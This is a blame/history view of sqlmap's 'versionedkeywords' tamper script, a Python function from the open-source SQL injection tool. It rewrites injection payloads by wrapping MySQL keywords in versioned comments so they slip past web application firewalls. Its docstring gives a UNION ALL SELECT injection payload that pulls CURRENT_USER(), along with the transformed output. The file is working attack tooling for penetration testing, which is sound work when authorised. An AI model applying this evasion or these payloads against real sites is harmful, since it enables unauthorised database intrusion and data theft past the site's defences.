sqlmap/tamper/versionedkeywords.py

54 lines
1.6 KiB
Python
Raw Normal View History

2011-05-28 19:42:47 +04:00
#!/usr/bin/env python
"""
2012-01-11 18:59:46 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
2011-05-28 19:42:47 +04:00
See the file 'doc/COPYING' for copying permission
"""
import os
2011-05-28 19:42:47 +04:00
import re
from lib.core.common import singleTimeWarnMessage
2011-05-28 19:42:47 +04:00
from lib.core.data import kb
from lib.core.enums import DBMS
2011-05-28 19:42:47 +04:00
from lib.core.enums import PRIORITY
2011-06-30 11:52:13 +04:00
__priority__ = PRIORITY.HIGHER
2011-05-28 19:42:47 +04:00
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
2011-05-28 19:42:47 +04:00
def tamper(payload):
"""
2011-06-30 11:52:13 +04:00
Encloses each non-function keyword with versioned MySQL comment
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
Tested against:
* MySQL 4.0.18, 5.1.56, 5.5.11
Notes:
* Useful to bypass several web application firewalls when the
back-end database management system is MySQL
2011-05-28 19:42:47 +04:00
"""
def process(match):
word = match.group('word')
2011-06-30 11:52:13 +04:00
if word.upper() in kb.keywords:
2011-05-28 19:42:47 +04:00
return match.group().replace(word, "/*!%s*/" % word)
else:
return match.group()
retVal = payload
if payload:
2011-06-30 11:52:13 +04:00
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
2011-05-28 19:42:47 +04:00
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal